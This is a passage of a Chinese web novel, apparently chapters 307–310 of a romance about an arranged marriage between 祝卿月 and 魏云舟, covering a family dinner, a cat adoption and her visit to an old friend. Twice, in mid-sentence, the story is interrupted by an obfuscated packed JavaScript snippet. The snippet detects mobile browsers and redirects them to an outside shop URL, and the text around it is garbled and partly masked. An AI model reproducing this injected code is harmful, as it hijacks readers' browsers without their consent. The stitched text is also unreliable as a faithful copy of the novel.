祝雨欣还要狡辩,祝乾一个巴掌甩了下去:“告诉你多少次了,她是你长辈,不要这么没大没小。” “你偏心鬼,到底我是你女儿,还是祝卿月是你女儿?” 祝乾气得心脏疼,魏云舟懒得看这出闹剧,揽着祝卿月越过两人。 “你房间在哪儿?”魏云舟问祝卿月。 “不在这里,我和我妈住最西边的楼。” 西边是偏僻的地方,但对于母女俩来说比较清静。 两人刚进门厅,看到了等在屋里的谢莹,祝卿月挣开魏云舟,跑了过去,语气有些责备: “妈,你怎么不好好休息啊?” “云舟过来了,躺着像什么话?”谢莹拍了拍她的手背,“别大惊小怪,我没事。” “妈,您休息去吧,今晚我带她去主楼用餐。”魏云舟说。 谢莹一听就知道要给她女儿撑腰,她不出面是比较好的。 “行,我去休息。” 祝卿月:“……” 为什么她说话没有用? 陪着谢莹上楼的阿姨有些疑惑:“您今晚不出席吗?” 谢莹摇了摇头:“我出什么席啊,我还是病人呢。” 她要是出席,云舟发挥的空间就小了很多。 “其实我一直也不太理解,姑爷看着不像需要联姻的人,怎么会跟我们小姐结婚呢?” 谢莹笑了笑:“先从祝家来说吧,近些年投资失败,产业下滑严重,新兴产业层出不穷,联姻对于祝家来说就是担保。” “出一个女儿的事,和古代的和亲是一个道理。” “至于魏家,其一就是与魏云舟年龄相仿的名门大小姐少之又少,他是魏立峰和魏思嘉一手培养的继承人,不可能跟普通女孩结婚。” “其二就是行业垄断,减少一个潜在的威胁,现在的生意都不太好做。” 魏家转型之后处于扩张期,需要整合行业资源,联姻对魏云舟来说就是零成本收购。 “至于为什么选择我们月月,无非是她不得宠,没有爸爸,不会让魏云舟有岳父的牵制和威胁感。” “月月只能依附魏云舟,对于他来说,这是极其划算的买卖,因为他用最小的代价,完成了一场毫无后顾之忧的联姻。” 阿姨一惊:“按照您的意思,如果以后姑爷翻脸,咱们小姐也没有反抗的余地了?” 谢莹点了点头:“但跟魏云舟结婚,是一条可以搏的道路,最起码,魏云舟人品是过关的。” 现在的男人有个正常人的思想都挺难的。 祝卿月换了身衣服,情绪终于得到了点缓解。 魏云舟还在客厅坐着,她把西装拿了下去,对他说:“有点潮了。” “没事。”魏云舟接过去,“让人处理一下就好。” 时间还早,祝卿月让阿姨把衣服弄干,她亲自给魏云舟泡了茶。 “不好意思,我这里只有花茶。” “没事。”魏云舟端起啜了口,“你怎么会跟祝雨欣产生争执?” 祝卿月将事情讲了下,又用她无辜的眼神袭击魏云舟:“她扯到我妈妈了,不然我也不会这么对她,还好是夏天,要是冬天,我都不敢想。” “岳母在这里似乎不太开心,你有没有想过把她接出去?” “可以吗?”祝卿月一愣,“你能办到吗?放心,我有一套房产,如果能从祝家出来,我会送我妈妈去我自己的房子。” 魏云舟蹙眉:“我在麓湖山庄有房产,那里适合长辈居住,分南北区。” 祝卿月怔然半晌,问他:“你为什么要对我好?” “你有时候问的问题我是真不想回答。”魏云舟说,“在我看来,我和你结婚了,你的母亲和我的母亲是一样的。” 祝卿月显然也没想到是这样真诚的答案,魏云舟这个人,最起码是有责任感的。 “不用,她去你那儿估计也不太自在。” “这个以后再说,就是不知道祝家放不放人。” 祝卿月失望地摇了下头:“他们不会答应的。” 这么多年,谢莹的身上已经贴了太多的标签,也有太多的美化。 “为爱独守二十年”的新闻标题如影随形跟着她,祝卿月最讨厌别人跟她说:“哇,你妈妈好伟大。” 这样的正面形象是祝家最好的公关和口碑。 贞静贤德,谢莹的生活在祝家的操作下一直透明化,成为豪门媳妇的典范。 一座隐形的牢笼死死压着她们母女。 “可以试试。”魏云舟说。 他可以管祝卿月,却管不了谢莹,以他的身份立场,是没有资格干涉别人家事的。 但不试试又怎么知道结果呢? 魏云舟的西服处理好了,佣人拿过来后递给了他。 他穿上,起身对祝卿月说:“我跟你大伯还有点事要谈,你待会儿再过去。” “好。” 等他走后,祝卿月去看了谢莹。 “妈,你怎么样?” 谢莹拍了拍床铺,示意她坐下。 “云舟去东边了?” 祝卿月点了点头:“应该有事跟大伯谈。” 谢莹说:“这些你不用去管,之后专心做人家的媳妇就好。” “妈,你不想出去吗?” 谢莹牵强地笑了笑:“这件事,要有合适的时机才行,如果你指的是今天我落水这件事,还是**这条心,祝家人也不是吃素的。” “没指望这件事就能让您出了祝家。”祝卿月说,“只不过魏云舟主动提及了这件事令我很意外,毕竟,我俩也没什么感情。” “你见过他爸妈吧?有什么感想?”谢莹问。 “感情挺好的。”祝卿月说,“但人家也没在我面前表现出什么来,我也看不出什么。” “也是,毕竟是长辈,也稳重,下次见到他哥嫂,你再看看就知道魏云舟为什么会这么对你了。” “哦。”祝卿月没将这事放在心上。 天色渐晚,东边打来电话说吃饭了。 魏云舟门口等祝卿月,惹得一家子的人也陪着他一起等。 “魏云舟以前和祝卿月有什么交集吗?”祝卿月的堂哥抵了抵一旁的人,“怎么看着他对祝卿月那么上心?” “装的吧。” “你装一个我看看?” “可他俩也没什么感情吧?有 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“凭我宠你宠到你敢在客人的面前摔筷子。”祝乾十分不悦,“有没有点家教?” 面对像山一样威严的父亲,祝雨欣还是不太敢,她委屈地红了眼眶:“我说了,我不是故意的。” 祝乾说:“是不是故意都得道歉,你婶婶生病了,你对卿月说就行。” 祝卿月不乐意接受她这道歉,但能看到祝雨欣吃瘪,她也就没阻止。 魏云舟看了眼祝雨欣,祝乾暗暗警告了女儿一眼。 这个家里是祝乾当家,祝雨欣不敢造次,只能对着祝卿月,咬牙切齿地道了歉。 祝卿月往魏云舟那边躲了下,似乎被她吓到了。 魏云舟没了耐心:“是在道歉还是在威胁?” “雨欣。”祝太太开口了,“向你姐姐道歉。 父母都不站在自己这边,祝雨欣只能忍下这**,她看着祝卿月,说:“对不起,是我不懂事。” 态度勉强能接受,祝卿月默默垂头,将汤盅里最后一口汤喝完。 魏云舟趁势试探:“卿月刚到新家不太习惯,我看岳母也需要一个好的环境养养身体,我在麓湖山庄有套房子——” “这个就不麻烦了。”祝乾笑道,“我知道你跟卿月感情好,但新婚就把岳母接回家养病,谁家也没这样的道理和习俗,更何况我祝家又不是没人,西楼幽静,也很适宜养病。” “是啊。”祝太太也搭腔,“雨欣不懂事,这件事,我作为大嫂也有一定的责任,你岳母最怕麻烦别人,知道你有这份孝心就好。” 魏云舟稍稍收敛了笑意,祝乾依旧笑面虎的模样,四目相对,暗里较劲。 祝卿月在桌底下拽了下魏云舟的衣服,魏云舟这才笑道:“祝总有需要不妨直说。” “还真不能劳烦,就不给你们小辈添麻烦了。” 第一回合,祝家态度坚决,不过魏云舟也没指望一次就能将谢莹接出来。 晚餐后没多久,魏云舟带着祝卿月辞别,临走之前,两人亲自去和谢莹说了声。 谢莹在二楼阳台相送,单从背影看,两人很是般配。 回到家,祝卿月已经很累了,洗完澡就爬上了床。 魏云舟没忍住,问了句:“你好像挺排斥身体接触的,但又偏偏总是面对着我睡。” 祝卿月一僵,瞳孔里印刻了一瞬的恐惧,她竭力稳住自己的声线:“有吗?” “有。”魏云舟看着她的眼睛,试图从里面找到答案,“你好像很害怕我从背后对你怎么样。” “没有的事。”祝卿月转过了身,背对了他,只是僵硬到如木偶的身体还是出卖了她。 魏云舟:“……” 他哪是这个意思。 叹了声气,他对祝卿月说:“转过来睡吧。” 祝卿月没动,生怕他戳破她的伪装,挖掘一些真相。 魏云舟关了灯,轻笑:“这下可以转过来了吧?” 也不知道他笑什么,祝卿月缓缓转过了身体。 第308章 先婚后爱(5) 魏云舟可能察觉到了不对劲,但他没有深挖。 祝卿月自小生活的环境让她面对旁人有着十足的警惕之心,不敢将后背留给旁人是她的本能。 第二天是周六,魏云舟不用上班,晨起的时间和往常差不多。 大概九点左右,接到了家里的电话,说他爸妈已经从雁清来z市的路上。 他让佣人把这消息带给了祝卿月。 魏云舟之前提过一嘴,祝卿月倒也没慌,只是去了衣帽间,咬着手指头挑选今天要穿的衣服。 魏云舟一身家居服来到三楼的衣帽间,斜倚门框看她啃手指头。 家里没人有这毛病,是焦虑的体现? 见他爸妈,要焦虑穿什么衣服吗? 魏云舟没太理解,她又不是没见过他爸妈,怎么还那么紧张? “那件蓝色的裙子吧。”魏云舟替她做了决定。 祝卿月循声望去,魏云舟翘着呆**,懒懒散散地向她走来。 好陌生的模样,但莫名亲切。 祝卿月指了指衣柜里按照颜色分类的连衣裙,问:“哪件啊?” 魏云舟上前,拿下一款薄雾蓝小香风针织连衣裙,撞色衬衫翻领,视觉层次丰富。 祝卿月对着自己比划了下,说:“行,就这件吧。” 魏云舟抬了抬下巴:“换去吧,我也要换衣服了。” 为了协调,魏云舟选了同色系的浅色衬衫,搭配休闲裤。 祝卿月也没想到魏云舟和她穿起了情侣装,难道是要表现给长辈看? 女生化妆时间稍微长一点,魏云舟也没催促,自个找了点事做,直至十点半,祝卿月才从化妆间出来。 祝卿月长得比祝雨欣好看,其实谢莹长相一般,但气质独特,想来她像他父亲多一些。 盯着她看什么?祝卿月低头将自己从上到下看了一遍,没发现什么问题。 “走吧。”魏云舟说。 “哦。”祝卿月应一声,跟了上去。 今天魏云舟自己开车,回老别墅的路上,正好路过宠物医院。 祝卿月的目光下意识跟着转,魏云舟被红灯拦截,停车后,顺道关心了一句:“那只猫怎么样?” “挺好的,检查过没有病,洗完之后我都不认识了,很可爱。”祝卿月面带希冀。 魏云舟只是浅浅“嗯”了声,祝卿月不免失望。 看魏云舟的意思,大概要让猫一直待在宠物医院了。 祝卿月试探道:“要不我给它找个主人吧?” “可以。”魏云舟转动方向盘,拐上了向东的路。 祝卿月彻底无望,得,只能给小猫找个可靠的主人了。 自从将小猫照片传上相关的软件后,她一直没有再登录看看。 祝卿月拿出手机,发现收到了好几条信息。 她进这些人的主页一一看去,都有点不太放心。 马上到魏家,一直抱着手机看肯定不礼貌,等结束之后,回来再删选吧。 他俩到魏家的时候,魏川和孟棠还没到,楚茵和魏立峰热情地招待了两人。 说是两人,实则只有祝卿月一个人。 爷爷奶奶的热情让祝卿月有些局促,魏云舟看不过了,说:“你俩正常一点行吗?这样她会有压力。” 楚茵“嘁”了声:“是不是没这样对你,你吃醋了?” 魏云舟轻嗤:“我吃醋?我真是闲得没事做。” “可不是闲得没事做吗?”楚茵觉得好笑,“当初出国读书,非得要你爸妈接送,心里想要嘴上却不说出来,就让人在那儿猜,是不是你?” “不是我。”魏云舟狡辩,“明明是他们自己乐意。” “是,我乐意。” 门厅传来一道中气十足的男性声音,转眸一瞧,正是魏川和孟棠。 祝卿月连忙起身:“爸,妈。” “你坐。”孟棠温柔道,“一段时间没见,你又瘦了点。” “可能天气太热了。”祝卿月腼腆一笑。 孟棠笑道:“没事,你奶奶这里的厨师都很好,让他们做一些开胃的。” “谢谢妈。” “不要拘谨。”孟棠说,“我听说你妈妈落水生病了,我从雁清带了点补品,回去的时候给她送过去,等她好了,我再约她出来逛逛,她要是乐意的话,可以去雁清玩一玩。” “对。”魏川跟着应和,“雁清十月的天气很适合游玩,我跟你妈今年清闲,有时间陪着亲家母到处逛逛。” 不用想,肯定又是魏云舟说的。 但她公婆的小建议,祝卿月确实心动了。 雁清对魏家来说是世外桃源,魏云舟没跟她提过这事,她也不好开口,省得自作多情。 但魏云舟跟他父母提了,这份体贴她记在心里。 昨晚的饭桌上,大伯态度坚决,那时候,他是把魏云舟放在小辈的位置上,魏云舟确实无权置喙。 若是孟棠和魏川找他大伯提及,必然不会被拒绝。 怎么说,也得给两分面子。 “好,”祝卿月一口答应,“等我妈妈病好了,我再跟她说,她好多年没出门了,应该会开心的。” 孟棠笑道:“到时候你也跟着一起,你还没去过雁清吧,正好见见你大嫂,本来这次她也要跟着来的,但东麓那边有活动,只能先紧着那边了。” “没关系的。”祝卿月看向魏云舟。 魏云舟点了点头:“这是你第一次去雁清,我会将工作提前处理掉。” 祝卿月惊讶:“你陪我一起?” “不然呢?”魏云舟蹙眉,“你不需要我陪你去?” 孟棠“啧”了声:“你说要不要你陪?这是月月第一次去雁清,人生地不熟的。” 魏云舟态度软下来:“知道了。” 孟棠跟祝卿月说:“有什么事都跟云舟说,他会给你解决的。” 祝卿月愣愣点了头。 孟棠坐了半天的车,有些累,魏川温声软语地哄她去休息。 祝卿月盯着两人的背影,实在难以想象他们从大学就在一起了。 不腻吗?人这一生,真的只会爱一个人吗? 看得入神时,魏云舟走到她身后:“看什么呢?” “没看什么。”祝卿月赶紧找了个借口,“妈让我有事就找你,你真的会给我解决?” 魏云舟一本正经地点了点头:“当然。” 祝卿月圆溜溜的大眼睛看着他,魏云舟不自在地清了清嗓子:“有事就说。” 祝卿月决定试试:“那只猫……我想带回家。” “不行。”魏云舟一口回绝,“我不喜欢这些宠物。” 祝卿月盯着他:“你刚才还说有事找你解决。” “别的可以,这件事不行。”魏云舟说,“给它找个饲养官,我出钱都行。” “好吧。” 祝卿月的失落显而易见,魏云舟想要说什么,又生生把话咽了回去。 结婚以来,他什么事情都答应她了吧?一只猫而已,她应该能想明白的。 祝卿月确实没什么其他的想法,两个人住在一起也要互相尊重。 魏云舟明确表明不喜欢,她就不能在这方面无理取闹,当然,只是一点点的小失落而已。 魏云舟的家人全都很好相处,祝卿月完全褪去了拘谨,开始平和地和他们相处。 魏云舟跟家人在一起的时候,和平时不太一样。 笑容变多了,眼神也不再冷硬,喜欢怼人,嘴硬但是心软。 吃饭的时候,几个姑姑也都回来了,除了魏思沅家的孩子,其他的都比魏云舟还小。 这个祝卿月知道,她公婆结婚早,生孩子也早。 大家对于家族里的新人都比较好奇,一个下午就围着祝卿月转。 孟棠看着花园里围成一团的孩子,问身旁的魏云舟:“你跟月月处得怎么样?” 魏云舟说:“挺好的,您不用操心我们。” “月月看着还是拘谨,她是你妻子,你脾气在我们家不算好的,多让着点。” “我知道,从结婚开始,什么事我没让着她?” “你们俩属于没什么感情,但人是你自己挑的,当初问你的时候,你说不会后悔,我还是希望,你能跟她一直走下去。” 孟棠当初不赞同他对婚姻这样草率,但魏思嘉和魏立峰,以及魏云舟自己都坚持联姻,她也就不好再说什么。 这条路一开始就是魏云舟自己选择的。 魏思嘉已经逐渐放了权柄,再过几年,这魏家就是魏云舟说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783068|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了算,他自己总说得到的比失去的更多,他不后悔。 “妈,我又不是三岁小孩,你说的这些我都知道。”魏云舟跟她保证,“只要我俩都没什么超越底线的错误,她会是魏家新一任女主人。” 孟棠轻轻应了声,看着楼下的祝卿月笑了笑。 一群成年人幼稚地打水仗,波及了祝卿月,孟棠喊她上来换衣服。 在楼梯口遇到魏云舟,祝卿月有点尴尬,说:“不是我要打水仗的。” “嗯,上楼换衣服去。” 祝卿月换了衣服后,从二楼转角的平台落地窗前看到魏云舟拿着水管对着他的兄弟姐妹,一个个狼狈不堪地捂住自己。 祝卿月不自觉笑起来,被外面热闹的景象感染了。 魏云舟还给她报仇了,她现在才觉得谢莹那句“魏家是个好去处”落地了。 祝卿月再次来到花园,一群人叽叽喳喳指着魏云舟给她告状。 魏云舟哼了声:“还想吃水巴掌?” 一个个又噤声了。 祝卿月倏地轻笑,魏云舟这么吓人的吗? 待到落日时分,魏云舟和祝卿月离开了魏家,带着孟棠的补品顺道去了趟祝家。 祝乾正好下班,两车相遇,魏云舟主动下了车。 “大伯。”魏云舟以晚辈的身份称呼他,“我爸妈到了z市,他们想约你吃顿饭,不知道你什么时候有空?” 魏川和孟棠相邀,祝乾就是没空也得挤出时间。 他立刻换上笑脸:“我随时有空。” 魏云舟颔首:“你们长辈吃饭,我们小辈就不掺和了。” 祝乾颔首。 两车再次错身,魏云舟带着祝卿月回了家。 已经十来天了,祝卿月对丹枫公馆已经很熟悉了。 她有点饿,不自觉去了厨房。 晚饭还没好,但炖的汤好了。 阿姨看着问她:“要喝吗?” 祝卿月点了点头:“麻烦了。” “不麻烦。”阿姨开心还来不及,“先生喜欢我炖的汤汤水水,您尝尝。” “那来两盅吧。”祝卿月说,“他应该也饿了。” “好,您先去,待会儿我给您送去。” 祝卿月说:“好,送到三楼的露台吧。” 阿姨连忙“诶”了声。 魏云舟接了助理的一个电话,前后差不多十来分钟,见祝卿月上楼,问: “不是说饿了吗?” “阿姨炖了羊肚菌排骨汤,我要了两盅,一起喝点?” 魏云舟失笑:“你这一起喝点的语气像约酒。” 祝卿月:“……你喝不喝?” “喝。” 没一会儿,阿姨送了汤过来,还有两道小点心。 祝卿月说:“吃完这个,晚饭也不用吃了吧?” “我妈说你太瘦了,确实不需要减肥,可以少吃点。”魏云舟说,“只要不撑着就没事。” “我没减肥。”祝卿月低头喝汤,“我就是吃不胖的体质。” 两人就着三楼的风景有一搭没一搭地闲聊,吃完,她打开手机,开始一一回复想要领养小猫咪的人。 魏云舟感觉她比自己还忙,还是没忍住问了句:“看什么呢?” “我把小猫的照片放在了网上,很多人都要领养,我看看删选一下。” 魏云舟说:“找人品好的。” 祝卿月:“……隔着一根网线,我哪知道谁人品好。” 魏云舟说:“你可以把对方的信息给我,我让助理去查一下。” 祝卿月:“……不用了,这事我自己办吧。” 魏云舟吃完东西,把嘴巴擦了擦,说:“你自己能解决就行。” 祝卿月和网上的人聊得忘乎所以,有男有女,但没有一个让她满意的。 突然,一条新消息跳出来。 她点进去人家的主页看了眼,这一眼,愣在了原地。 宋潭? 主页里很多猫猫狗狗,居住的地方也很熟悉,这世上会有这么巧的事吗? 魏云舟察觉到不对,问她:“怎么了?” 祝卿月摇摇头:“没事,看到了一个熟人。” “谁啊?”魏云舟下意识问。 “宋潭。” 魏云舟一怔,宋潭?祝卿月的前男友? 第309章 先婚后爱(6) 世界太小了,魏云舟怀疑这个宋潭是故意的。 能让祝卿月在那么多想要领养的账号里看到他,想必也是费尽了心思。 祝卿月扯了个浅笑:“还是那么喜欢猫猫狗狗,大学教授这么清闲吗?” 口吻十分熟稔,魏云舟甚至听出点亲密。 “他教什么的?”魏云舟问。 “哲学。”祝卿月答。 “那也不算清闲,”魏云舟说,“他平日里很爱养猫狗吗?” “他特地买了大院子,就是为了养猫狗,加起来得有十来只。” “这么多?”魏云舟眸底闪过精光,“那得要找个同频率的爱小动物的伴侣才行。” “他是不婚主义者。”祝卿月说。 不婚主义者?魏云舟觉得好笑。 不婚主义者还和祝卿月谈什么恋爱?过家家吗? 魏云舟抬眸,说:“有些人的话听听就行。” 这个宋潭不会还在等祝卿月吧? “啊?”祝卿月没明白他要说什么,“谁的话?” “算了。”魏云舟说,“你打算找他领养吗?” “有这个意向。”祝卿月点点头,“毕竟这里面的人,就他我比较熟悉,也挺靠谱的。” 说她胖还喘上了。 但这只是正常往来,他可不是小气的男人。 祝卿月和宋潭聊得开心,丝毫没注意到对面的男人,内心经过了怎样的挣扎。 魏云舟自小占有欲就强,甭管他爱不爱,只要是他的,别人不能染指一分。 祝卿月已经是他的妻子,如果宋潭不识相,也别怪他不客气。 十几分钟过去,祝卿月还在聊。 魏云舟轻咳一声,问:“过段时间是奶奶的生日,你如果不知道准备什么礼物,我让助理去处理。” “别别别。”祝卿月赶紧把他拦下,“我妈给了我一块浮光锦,我知道奶奶什么都不缺,这块料子挺稀缺的,她应该会喜欢。” 魏云舟轻笑:“老太太整天爱臭美,你这不是送到她心坎上了?” 祝卿月说:“奶奶喜欢就好。” 魏云舟知道谢莹给她的必然合适且昂贵,便道:“你一片孝心,奶奶会看在眼里的,以后回报给你的只会更多。” “回报”这个字用得很妙,祝卿月都心虚了。 不过从魏家回来后她就没想用这块布换些什么,只怕解释也是徒劳。 不能因为魏云舟对她好说话就得寸进尺,祝卿月在心里暗暗警告自己。 人一旦得意忘形,只会摔得鼻青脸肿。 祝卿月朝魏云舟笑了笑,魏云舟却突然蹙眉打断:“别笑。” 祝卿月一愣,笑意僵在嘴角。 露台陷入沉默的尴尬中,魏云舟想要解释,祝卿月并没有给他这个机会,起身说自己有点事,出去一趟。 魏云舟眼睁睁看她开车走了。 祝卿月觉得烦,去宠物医院将三花猫接了出来,人和猫都没地方去,她干脆给宋潭打了电话。 现在是暑假,这人清闲得很。 宋潭接到她的电话还挺惊讶,但也高兴。 “我家你也摸不着了?自己过来。” 祝卿月轻笑一声:“得嘞,现在就过去。” 说起她和宋潭,还挺有缘分的。 谢莹曾经资助过一个学生,就是宋潭,宋潭感激谢莹,对祝卿月自然也好。 宋潭比祝卿月大了几岁,把她当妹妹照顾,但总被祝雨欣造谣,久而久之,宋潭就不大出现在祝家人面前。 怕对祝卿月不好,宋潭也狠过心和她断过联系,因为这事,祝卿月和他吵过几次。 后来在丁怡的帮助下,两人又和好了。 只不过祝卿月还记着仇呢,不想太快理会宋潭。 她自小就一个人,很羡慕祝雨欣能有兄弟姐妹站在她身边。 宋潭对她来说就是兄长,他又是老师,会正确引导祝卿月,化解她的情绪,在一定程度上,他填补了祝卿月没有父亲的空白。 丁怡总是开宋潭的玩笑,说他对祝卿月是“长兄如父”。 宋潭住在z市的南边,祝卿月开车都开了一个多小时。 进门她就开始抱怨:“你早上这么通勤真的没问题吗?” 宋潭接过她怀中的小猫,笑了声:“我还没觉得烦,你倒是烦上了。” 祝卿月在她面前很放松,换了拖鞋后直奔后院。 宋潭追过去,举起怀中的猫,问:“它有名字没有?” “没取。”祝卿月被一只金毛扑倒,仰头笑着说,“要不你给它取一个名字。” “叫月亮吧。”宋潭说,“要不是我在网上看到你的信息,你是不是就打算把这小东西给别人养了?” 祝卿月说:“我想着你这里已经不够住了。” “一只小猫而已,怎么就不够住了?你不会还在生气吧?咱俩不是已经和好了吗?结婚都不告诉我。” “联姻。”祝卿月无力道,“直接领证的,跟你说什么?你一个人去喝喜酒吗?” 宋潭叹气:“我本来是反对的,但姐姐让我不要插手。” 他口中的姐姐是谢莹,祝卿月又把他当大哥,丁怡总开玩笑他们的辈分乱七八糟的。 各喊各的,其实也挺和谐。 “别玩了。”宋潭将猫放到猫爬架上,“过来跟我说说你的婚后生活。” 祝卿月不大想说,故意道:“怎么你也开始八卦了?” “我这是八卦吗?”宋潭给她白眼,“当初因为你结婚的事,我还跟姐姐拌了几句嘴,结果你也不领情。” “我妈又不会害我。”祝卿月说。” “是是是,我会害你。”宋潭拿她没办法,“这个点过来,吃饭了没有?” 祝卿月摇了摇头:“喝了一碗排骨汤过来的,还不怎么饿。” 宋潭笑着问:“想吃什么,我给你做。” “做你家乡的菜吧。”祝卿月眼眸一亮,“要辣一点的,爆炒。” 宋潭:“行,怎么你这架势在婆家没吃好?” 祝卿月叹声气:“别提了,都是清淡的,你见过哪家霸总吃饭的时候眼泪鼻涕一起流的?不文雅。” “所以干脆不吃?”宋潭煞有介事道,“也是辛苦了。” “肯定要维持形象啊。”祝卿月揉了揉猫头,“而且晚上吃太辣也不行,夜里会不舒服。” “呦,开始为你老公说话了?”宋潭开玩笑,“要不把他叫过来一起吃饭吧,我顺道见见。” “见什么见。”祝卿月不乐意,“你做的菜他肯定吃不惯。” 和魏云舟也相处了几天,每天都在一起吃早晚两顿饭,他喜欢吃什么,祝卿月有个基本的了解。 清淡口的都能吃,微辣可以接受,重口的家里没做过,说明他就不爱吃。 这语气,听着像处得不愉快,但又不像是真的生气。 宋潭有些搞不明白了,索性去做饭。 连着猫猫狗狗的饭,唐宋要忙一阵子,为了大小姐能早日吃上饭,他只好给丁怡打了电话。 丁怡稍微近点,半小时左右就到了。 祝卿月看到她愣了下,随即高兴地冲过去:“你怎么过来了?宋潭叫你过来的?” “呵呵……他把我叫过来帮他做饭,我心想你不是人吗?” 祝卿月给她鞠躬:“辛苦了。” 丁怡来到厨房,利落地换上了围裙。 祝卿月倚在门框上看着两人,开玩笑道:“你俩挺合适的,要不我给你俩撮合撮合?” 丁怡哼笑:“宋老师外貌可以,有房有车的,就是小宠物养得太多,一般人可受不了。” 宋潭转头用锅铲指了指祝卿月:“别乱点鸳鸯谱。” 祝卿月举手投降:“我错了。” “知道错待会儿就多吃点,今天的剩饭猫狗吃不了,我得重新给他们做。” 丁怡失笑:“宋老师,你这惩罚人的方式真独特,知道错了就多吃点,只有月月是这种待遇吧?” “你也有这种待遇,毕竟你今天也辛苦了。” 祝卿月看他俩聊天聊得一来一回,乐得在一旁听。 手机响起,来了一条信息,是魏云舟发来的。 祝卿月犹豫的工夫,他直接打了电话过来。 手机铃声在厨房门口炸开,祝卿月看着来电显示,忙关上了厨房的门,接了这通电话。 “你人在哪儿?晚饭好了。” “我不回去吃饭了。”祝卿月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789063|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“在朋友家。” 魏云舟一言不发挂了电话。 祝卿月还想打回去的时候,丁怡开了厨房的门:“祝卿月,来端菜。” 祝卿月忙不迭放下手机,接了她手里的小炒黄牛肉。 “好香啊。”祝卿月馋虫被勾了上来。 每个人做法的味道都不太一样,宋潭在这方面还挺有天赋。 “皮蛋要吃吗?”宋潭问丁怡,“吃的话我就剥几个。” 之所以问丁怡,是因为祝卿月不吃。 丁怡想也没想:“吃。” 宋潭还做了红烧肉、酸辣鸡杂和两道时蔬小炒。 “三个人刚刚好。”祝卿月拿了碗筷,“快来吃饭吧,有酒吗?我喝一点点。” 宋潭从冰箱里拿出三个灌装的啤酒递过去:“我这里只有这个。” 宋潭不喝酒,之所以买,是有朋友会来他家里撸狗撸猫,用来招待他们的。 他这院子一到秋冬就是天然烧烤场,不仅同事朋友,就连学生都抢着过来。 丁怡知道宋潭不喝,径自开了两罐,其中一灌递给了祝卿月。 祝卿月啜了口,觉得自己活了过来。 “我不就馋这一口吗?”祝卿月笑眯眯道。 酒过三巡,啤酒见底,宋潭趁隙问:“我听说你搬到丹枫公馆了,那边景色是不是特别好?” “还行吧。”祝卿月说,“我也没什么心思看,成天搁那演戏呢。” 丁怡和宋潭对视一眼,又问:“魏云舟这个人像传闻中那么不近人情吗?” “那倒没有,他家里人也很好。”祝卿月说,“只不过我俩是联姻,又没有感情基础,一起生活可不得演嘛,总不能我已经答应了和他结婚,又对着他作妖吧。” 丁怡点点头:“说的很有道理,不过你的结婚对象可比一般人帅多了,最起码对眼睛是友好的。” “这个我不否认啊。”祝卿月笑了声,“魏云舟那张脸还是很能打的,他哥哥是孟竞帆,你们知道吧?” 丁怡“啧”了声:“炫耀来了,谁不知道啊,金月影帝嘛。” “我也知道。”宋潭说,“他来学校拍过戏,有过一面之缘,挺有礼貌的。” “我至今还没见过他大哥大嫂。”祝卿月有些尴尬,“不过等魏云舟忙过这阵子就好。” “去雁清?”宋潭问,“能带上我吗?” 丁怡和祝卿月傻眼地看着他:“带你干什么?” 宋潭说:“想拜访一下孟教授。” z大前些年授予孟棠荣誉教授,孟棠偶尔回去给学非遗的学生讲讲课。 “你觉得呢?”祝卿月哼了声,“你是不是馋人家的木雕了,可惜了,我跟我婆婆也不熟。” “争取早日拿下魏云舟。”宋潭以水代酒,敬了她一杯。 祝卿月:“……现在不是你反对的时候了?” “你证都领了,我还做这些徒劳的事干什么?” “你什么时候研究起木雕了?”丁怡十分好奇,“你不是一直都爱搞你的康德、黑格尔吗?” 宋潭:“……哲学在你们看来也就只有这两个人了。” 丁怡:“……别跟我讲哲学。” 祝卿月嘿嘿笑了声:“你俩别吵,赶紧吃,吃完回家,他这里太远了。” “我回不回家无所谓,可某些有老公的人就不一样了。” 宋潭说:“吃完我送你们。” 祝卿月将车钥匙扔给他:“行。” 丁怡比祝卿月近一点,也顺路,宋潭先把她送了回去。 丹枫公馆,宋潭没去过,之所以知道,也是丁怡跟他说祝卿月搬家了。 他打开导航,开了将近四十分钟。 得,他待会儿回去,坐地铁都要转两条线。 丹枫公馆的门卫系统识别到祝卿月本人和她的车,放开了门禁。 管家看到,第一时间告诉了魏云舟。 魏云舟还以为她今晚不回来了,闻言停了上楼的步子,转身去了门厅。 祝卿月解开安全带,说:“你等一下,我让司机送你。” “行,正好见见你老公。” 车门两侧同时打开,魏云舟看到陌生的男人送祝卿月回来,当即冷了神色。 第310章 先婚后爱(7) 宋潭第一次见魏云舟,魏云舟也是第一次见他。 两个男人隔着车门对视,一个打量,一个高傲。 魏云舟甚至失了修养,没和对方打招呼,反而微微歪着头看向祝卿月,眼神似在询问。 新婚把前男友带回家算怎么回事? “你好,宋潭。”宋潭主动朝魏云舟伸出手。 魏云舟没动,祝卿月走到他身边,扯了下他的衣袖:“人家跟你打招呼呢。” “魏云舟。”魏云舟冷淡地握上去,一触即逝。 “久仰。” 魏云舟微微颔首。 “魏云舟。”祝卿月第一次喊他的名字,“你能不能让司机送下宋潭,他家里比较远。” 魏云舟不爽,但还是答应了。 宋潭朝两人挥挥手:“下次来我家,把你老公也带着。” “你赶紧走吧。”祝卿月朝他挥手,余光瞥了眼魏云舟,这个宋潭,“老公”从他嘴里出来一点不羞耻。 宋潭**叔送出了门。 